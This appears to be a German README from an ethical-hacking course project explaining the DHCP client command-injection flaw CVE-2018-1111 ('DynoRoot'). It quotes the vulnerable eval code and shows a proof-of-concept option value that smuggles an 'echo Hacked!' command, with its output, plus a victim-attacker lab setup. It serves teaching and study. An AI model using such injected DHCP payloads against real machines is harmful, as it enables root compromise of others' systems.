baldassarrefe/fep3370-advanced-ethical-hackingDHCP-Exploitation mit DynoRoot (CVE-2018-1111)
Dieses Projekt demonstriert eine bekannte Schwachstelle von Fedora- und RedHat-Rechnern im Zusammenhang mit einer unsicheren clientseitigen Implementierung des Dynamic Host Configuration Protocol (DHCP). Ein betrügerischer DHCP-Server kann DHCP-Angebote mit einer schädlichen Nutzlast erstellen, die in einer Root-Shell auf dem Opferrechner ausgeführt wird.
Die Schwachstelle wird Felix Wilhelm zugeschrieben und ist bekannt als CVE-2018-1111 oder "DynoRoot".
Das Dynamic Host Configuration Protocol (DHCP) ist eine oft übersehene Komponente in vernetzten Systemen. Seine Rolle besteht darin, die dynamische Konfiguration von Host-Rechnern zu ermöglichen, die sich mit einem bestehenden Netzwerk verbinden. Der häufigste Anwendungsfall ist die Zuweisung einer IP-Adresse an neu verbundene Hosts und deren Information über vorhandene Routen zum Zugriff auf andere Netzwerke. Zusätzliche Optionen können angegeben werden, z. B. die Adresse eines lokalen DNS-Servers und die Zone, die er bedient, oder der Speicherort einer Boot-Datei.
Analysieren wir das 4-Wege-Protokoll, das befolgt wird, wenn ein neuer Host einem Netzwerk beitreten möchte, nachdem er sich physisch über eine Ethernet- oder drahtlose Verbindung damit verbunden hat.
DISCOVER-Nachricht an das Netzwerk.OFFER, das Folgendes enthält: IP-Adresse, Netzwerk-Submask, Router-Adresse und andere Optionen.REQUEST, um die angebotene IP-Adresse offiziell zu leasenACK ab, das angibt, dass der Client die IP-Adresse für eine bestimmte Zeit nutzen darf.Nach dem anfänglichen Austausch kann der Client den Lease einfach durch Senden einer weiteren REQUEST-Nachricht verlängern. Der Server prüft die Existenz eines Leases mit der IP- und MAC-Adresse des Clients und antwortet mit einem ACK.
DHCP-Sitzung (Abbildung von Wikimedia Commons, lizenziert unter CC BY-SA 4.0).
Einige zu beachtende Punkte:
DISCOVER-Phase überspringen und sofort eine REQUEST-Adresse anfordern. Dies ist üblich in Szenarien, in denen der Client bereits in der Vergangenheit mit dem Netzwerk verbunden war und sich an die vorherige Adresse erinnert. In diesem Fall prüft der Server die Verfügbarkeit der Adresse und bestätigt die Anfrage mit einem ACK, oder sendet, falls der Lease nicht verfügbar ist, ein NACK.RELEASE-Nachricht senden, um den Server zu informieren, dass die Adresse nun verfügbar ist. Dies ist jedoch nicht durch das Protokoll vorgeschrieben, und der Server sammelt regelmäßig abgelaufene Leases ein.OFFERs mehr an neue Clients geben.OFFERs erhält, akzeptiert er nur eines, die anderen Server beobachten die gesendete REQUEST und invalidieren das Angebot.Die Schwachstelle befindet sich in /etc/NetworkManager/dispatcher.d/11-dhclient, das vom Client ausgeführt wird, um die über DHCP empfangenen Optionen zu parsen und zu setzen.
declare ist ein Bash-Builtin, das, wenn es ohne Argumente verwendet wird, alle deklarierten Variablen auflistet.grep filtert alle DHCP-bezogenen Variablen.while read opt iteriert über die DHCP-Variablen eine nach der anderen, führt eine Analyse durch und gibt für jede Option eine Zeile wie export new_optionname=value aus.eval ausgeführt.```bash
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do
optname=${opt%%=}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"<!-- omit in toc -->
#### Normalbetrieb
In normalen Situationen würde der Code einwandfrei funktionieren und die neuen DHCP-Optionen parsen.
Als Beispiel: der folgende Code:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
Wird diese beiden export-Anweisungen ausgeben, die von eval ausgewertet werden sollen:```bash
export new_option_one=42
export new_option_two='bla bla'
<!-- omit in toc -->
#### Code-Injektion
Aufgrund des unsicheren `eval` ist es jedoch möglich, Bash-Befehle einzuschleusen:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
Wird zur Auswertung von echo Hacked! führen:```text
[1] 1541
Hacked!
### Sources
- [Exploit-Datenbankeintrag](https://www.exploit-db.com/exploits/44890)
- [RedHat-Ankündigung](https://access.redhat.com/security/vulnerabilities/3442151)
- [Tenable-Blogbeitrag](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [GitHub-Repository](https://github.com/kkirsche/CVE-2018-1111)
- [Twitter-Ankündigung](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
## Setup
Der minimale Aufbau, um den Exploit zu demonstrieren, besteht aus nur zwei Maschinen: der `victim`-Maschine unter Fedora 28 und einer `attacker`-Maschine. In diesem Setup muss der Angreifer lediglich einen DHCP-Dienst anbieten und auf die Verbindung des Opfers warten.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
<figcaption>Minimaler Exploit-Aufbau.</figcaption>
</figure>
Ein realistischeres Setup würde die Maschinen in einem privaten Netzwerk platzieren, in dem eine dritte Maschine, der `gateway`, als gutartiger DHCP-Server und als Gateway zum externen Internet konfiguriert ist. In diesem Setup muss der Angreifer verhindern, dass das Opfer eine Verbindung zum legitimen DHCP-Server herstellt, bevor er den Angriff durchführen kann.